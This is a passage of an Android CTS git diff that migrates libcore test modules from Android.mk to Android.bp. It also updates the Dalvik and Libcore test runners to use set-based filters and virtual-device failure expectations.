+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitedTest#testMonitorWaitedForClassOnly",
+    "org.apache.harmony.jpda.tests.jdwp.ReferenceType_ClassFileVersionTest#testClassFileVersion001",
+    "org.apache.harmony.jpda.tests.jdwp.ReferenceType_NestedTypesTest#testNestedTypes001",
+    "org.apache.harmony.jpda.tests.jdwp.ThreadReference_StopTest#testStop001",
+    "org.apache.harmony.jpda.tests.jdwp.VirtualMachine_HoldEventsTest#testHoldEvents001",
+    "org.apache.harmony.jpda.tests.jdwp.VirtualMachine_ReleaseEventsTest#testReleaseEvents001"
   ],
   bug: "16720689"
 }
diff --git a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
index 324df40..4546535 100644
--- a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
+++ b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
@@ -52,15 +52,17 @@
 import java.io.IOException;
 import java.io.PrintWriter;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collection;
 import java.util.Collections;
 import java.util.HashSet;
+import java.util.LinkedHashSet;
 import java.util.List;
 import java.util.Set;
 import java.util.concurrent.TimeUnit;
 
-import vogar.ExpectationStore;
-import vogar.ModeId;
+import vogar.expect.ExpectationStore;
+import vogar.expect.ModeId;
 
 /**
  * A wrapper to run tests against Dalvik.
@@ -142,11 +144,11 @@
 
     @Option(name = "include-filter",
             description = "The include filters of the test name to run.")
-    private List<String> mIncludeFilters = new ArrayList<>();
+    private Set<String> mIncludeFilters = new LinkedHashSet<>();
 
     @Option(name = "exclude-filter",
             description = "The exclude filters of the test name to run.")
-    private List<String> mExcludeFilters = new ArrayList<>();
+    private Set<String> mExcludeFilters = new LinkedHashSet<>();
 
     @Option(name = "test-file-include-filter",
             description="A file containing a list of line separated test classes and optionally"
@@ -266,6 +268,38 @@
      * {@inheritDoc}
      */
     @Override
+    public Set<String> getIncludeFilters() {
+        return mIncludeFilters;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public Set<String> getExcludeFilters() {
+        return mExcludeFilters;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void clearIncludeFilters() {
+        mIncludeFilters.clear();
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void clearExcludeFilters() {
+        mExcludeFilters.clear();
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
     public void setIncludeTestFile(File testFile) {
         mIncludeTestFile = testFile;
     }
@@ -408,7 +442,7 @@
                         test = getTestDescription(parts[1]);
                         listener.testStarted(test);
                     } else if (tag.equals(FAILURE)) {
-                        listener.testFailed(test, parts[1]);
+                        listener.testFailed(test, processSerializedValue(parts[1]));
                     } else if (tag.equals(END_TEST)) {
                         listener.testEnded(getTestDescription(parts[1]),
                                 Collections.<String, String>emptyMap());
@@ -418,6 +452,11 @@
                 }
             }
 
+            private String processSerializedValue(String input) {
+                // Opposite of stringify.
+                return input.replace("^~^", "\n");
+            }
+
             private TestDescription getTestDescription(String name) {
                 String[] parts = name.split("#");
                 String className = parts[0];
diff --git a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
index f4021b2..980315a 100644
--- a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
+++ b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
@@ -16,6 +16,8 @@
 
 package com.android.compatibility.testtype;
 
+import static java.util.stream.Collectors.toList;
+
 import com.android.tradefed.config.Option;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -25,6 +27,8 @@
 
 import java.util.ArrayList;
 import java.util.List;
+import java.util.Objects;
+import java.util.stream.Stream;
 
 /**
  * A specialized test type for Libcore tests that provides the ability to specify a set of
@@ -41,13 +45,20 @@
             + "expectation file")
     private List<String> mCoreExpectations = new ArrayList<>();
 
+    @Option(name = "virtual-device-core-expectation", description = "Provides failure expectations "
+            + "on virtual devices only for libcore tests via the specified file; the path must be "
+            + "absolute and will be resolved to matching bundled resource files; this parameter "
+            + "should be repeated for each expectation file")
+    private List<String> mVirtualDeviceCoreExpectations = new ArrayList<>();
+
     /**
      * {@inheritDoc}
      */
     @Override
     public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
-        if (!mCoreExpectations.isEmpty()) {
-            addInstrumentationArg(INSTRUMENTATION_ARG_NAME, ArrayUtil.join(",", mCoreExpectations));
+        List<String> coreExpectations = getCoreExpectations();
+        if (!coreExpectations.isEmpty()) {
+            addInstrumentationArg(INSTRUMENTATION_ARG_NAME, ArrayUtil.join(",", coreExpectations));
         }
 
         if (getTestPackageName() != null && getClassName() != null) {
@@ -61,4 +72,18 @@
         }
         super.run(listener);
     }
+
+    private List<String> getCoreExpectations() throws DeviceNotAvailableException {
+        if (isVirtualDevice()) {
+                return Stream.concat(
+                        mCoreExpectations.stream(), mVirtualDeviceCoreExpectations.stream())
+                    .collect(toList());
+        } else {
+            return mCoreExpectations;
+        }
+    }
+
+    private boolean isVirtualDevice() throws DeviceNotAvailableException {
+        return Objects.equals(getDevice().getProperty("ro.hardware.virtual_device"), "1");
+    }
 }
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index 06f2ae9..abe13ce 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -24,6 +24,7 @@
 
 LOCAL_PACKAGE_NAME := CtsLeanbackJankApp
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 21
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/libcore/Android.mk b/tests/libcore/Android.mk
deleted file mode 100644
index 00d1223..0000000
--- a/tests/libcore/Android.mk
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Build the test APK using its own makefile, and any other CTS-related packages
-include $(call all-subdir-makefiles)
diff --git a/tests/libcore/OWNERS b/tests/libcore/OWNERS
new file mode 100644
index 0000000..2d36574
--- /dev/null
+++ b/tests/libcore/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include platform/libcore:/OWNERS
diff --git a/tests/libcore/jsr166/Android.bp b/tests/libcore/jsr166/Android.bp
new file mode 100644
index 0000000..83e0331
--- /dev/null
+++ b/tests/libcore/jsr166/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreJsr166TestCases",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "cts-core-test-runner-axt",
+        "jsr166-tests",
+    ],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/jsr166/Android.mk b/tests/libcore/jsr166/Android.mk
deleted file mode 100644
index 3cb2bfa..0000000
--- a/tests/libcore/jsr166/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreJsr166TestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner-axt \
-    jsr166-tests
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index 9d2cfcf..ed88b00a 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Libcore JSR166 test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
@@ -36,4 +38,8 @@
         <option name="shell-timeout" value="12000000"/>
         <option name="hidden-api-checks" value="false"/>
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="screenshot-on-failure" value="false" />
+    </object>
 </configuration>
diff --git a/tests/libcore/luni/Android.bp b/tests/libcore/luni/Android.bp
new file mode 100644
index 0000000..b0fa8b6
--- /dev/null
+++ b/tests/libcore/luni/Android.bp
@@ -0,0 +1,62 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreTestCases",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "apache-harmony-tests",
+        "conscrypt-tests",
+        "core-tests",
+        "cts-core-test-runner-axt",
+        "mockito-target-minus-junit4",
+        "time_zone_distro-tests",
+        "time_zone_distro_installer-tests",
+    ],
+    dex_preopt: {
+        enabled: false,
+    },
+    dxflags: ["--multi-dex"],
+    // Exclude apache harmony tests from coverage instrumentation, since it breaks
+    // the tests of reflection APIs by adding fields and methods to the test classes.
+    jacoco: {
+        exclude_filter: ["org.apache.harmony.tests.**"],
+    },
+    optimize: {
+        enabled: false,
+    },
+    jni_libs: [
+        "libjavacoretests",
+        "libsqlite_jni",
+        "libnativehelper_compat_libc++",
+        "libc++",
+    ],
+    // Include both the 32 and 64 bit versions of libjavacoretests,
+    // where applicable.
+    compile_multilib: "both",
+    // This test requires cts-dalvik-host-test-runner to be built to run via Atest.
+    host_required: ["cts-dalvik-host-test-runner"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "mts",
+        "vts",
+        "general-tests",
+    ],
+    java_resources: [
+        ":libcore-expectations-knownfailures",
+        ":libcore-expectations-virtualdeviceknownfailures",
+    ],
+}
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
deleted file mode 100644
index a2a6a24..0000000
--- a/tests/libcore/luni/Android.mk
+++ /dev/null
@@ -1,63 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    apache-harmony-tests \
-    conscrypt-tests \
-    core-tests \
-    cts-core-test-runner-axt \
-    mockito-target-minus-junit4 \
-    time_zone_distro-tests \
-    time_zone_distro_installer-tests
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-LOCAL_DX_FLAGS := --multi-dex
-
-# Exclude apache harmony tests from coverage instrumentation, since it breaks
-# the tests of reflection APIs by adding fields and methods to the test classes.
-LOCAL_JACK_COVERAGE_EXCLUDE_FILTER := org.apache.harmony.tests.*
-
-LOCAL_PROGUARD_ENABLED := disabled
-# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62341677
-LOCAL_DONT_DELETE_JAR_META_INF := true
-LOCAL_JNI_SHARED_LIBRARIES := libjavacoretests libsqlite_jni libnativehelper_compat_libc++ libc++
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
-# continuous build configurations, so it's not referenced in AndroidTest.xml
-LOCAL_JAVA_RESOURCE_FILES := \
-    libcore/expectations/knownfailures.txt \
-    libcore/expectations/virtualdeviceknownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index 6de3df5..7fef84d 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Libcore test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
@@ -31,9 +33,14 @@
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
+        <option name="virtual-device-core-expectation" value="/virtualdeviceknownfailures.txt" />
         <option name="runtime-hint" value="45m"/>
         <!-- 20x default timeout of 600sec -->
         <option name="shell-timeout" value="12000000"/>
         <option name="hidden-api-checks" value="false"/>
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="screenshot-on-failure" value="false" />
+    </object>
 </configuration>
diff --git a/tests/libcore/ojluni/Android.bp b/tests/libcore/ojluni/Android.bp
new file mode 100644
index 0000000..6232e47
--- /dev/null
+++ b/tests/libcore/ojluni/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreOjTestCases",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    static_libs: ["core-ojtests-public"],
+    libs: ["testng"],
+    dxflags: ["--core-library"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    // Include both the 32 and 64 bit versions of libjavacoretests,
+    // where applicable.
+    compile_multilib: "both",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+	"mts",
+    ],
+    java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/ojluni/Android.mk b/tests/libcore/ojluni/Android.mk
deleted file mode 100644
index 8354615..0000000
--- a/tests/libcore/ojluni/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreOjTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    core-ojtests-public
-
-LOCAL_JAVA_LIBRARIES := testng
-
-LOCAL_DX_FLAGS := --core-library
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62231394
-LOCAL_DONT_DELETE_JAR_META_INF := true
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index 589d431..7a1b306 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Libcore OJ test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
@@ -40,4 +42,8 @@
         <option name="shell-timeout" value="12000000"/>
         <option name="hidden-api-checks" value="false"/>
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="screenshot-on-failure" value="false" />
+    </object>
 </configuration>
diff --git a/tests/libcore/okhttp/Android.bp b/tests/libcore/okhttp/Android.bp
new file mode 100644
index 0000000..511e28a
--- /dev/null
+++ b/tests/libcore/okhttp/Android.bp
@@ -0,0 +1,42 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreOkHttpTestCases",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "bouncycastle-unbundled",
+        "cts-core-test-runner-axt",
+        "okhttp-nojarjar",
+        "okhttp-tests-nojarjar",
+    ],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    // Include both the 32 and 64 bit versions of libjavacoretests,
+    // where applicable.
+    compile_multilib: "both",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "vts",
+    ],
+    java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/okhttp/Android.mk b/tests/libcore/okhttp/Android.mk
deleted file mode 100644
index eb061da..0000000
--- a/tests/libcore/okhttp/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreOkHttpTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    bouncycastle-unbundled \
-    cts-core-test-runner-axt \
-    okhttp-nojarjar \
-    okhttp-tests-nojarjar
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 1865fa5..45a63b5 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Libcore OkHttp test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
@@ -36,4 +38,8 @@
         <option name="shell-timeout" value="12000000"/>
         <option name="hidden-api-checks" value="false"/>
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="screenshot-on-failure" value="false" />
+    </object>
 </configuration>
diff --git a/tests/libcore/runner/Android.bp b/tests/libcore/runner/Android.bp
new file mode 100644
index 0000000..3edbe3f
--- /dev/null
+++ b/tests/libcore/runner/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsLibcoreTestRunner",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: ["cts-core-test-runner-axt"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+	"mts",
+    ],
+}
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
deleted file mode 100644
index 093779b..0000000
--- a/tests/libcore/runner/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreTestRunner
-LOCAL_SDK_VERSION := current
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner-axt
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/Android.bp b/tests/libcore/wycheproof-bc/Android.bp
new file mode 100644
index 0000000..f719b1a
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreWycheproofBCTestCases",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "cts-core-test-runner-axt",
+        "wycheproof",
+    ],
+    srcs: ["src/**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    // Include both the 32 and 64 bit versions of libjavacoretests,
+    // where applicable.
+    compile_multilib: "both",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+    ],
+    java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/wycheproof-bc/Android.mk b/tests/libcore/wycheproof-bc/Android.mk
deleted file mode 100644
index a43e8b4..0000000
--- a/tests/libcore/wycheproof-bc/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofBCTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner-axt \
-    wycheproof
-
-LOCAL_JAVA_LIBRARIES := bouncycastle
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
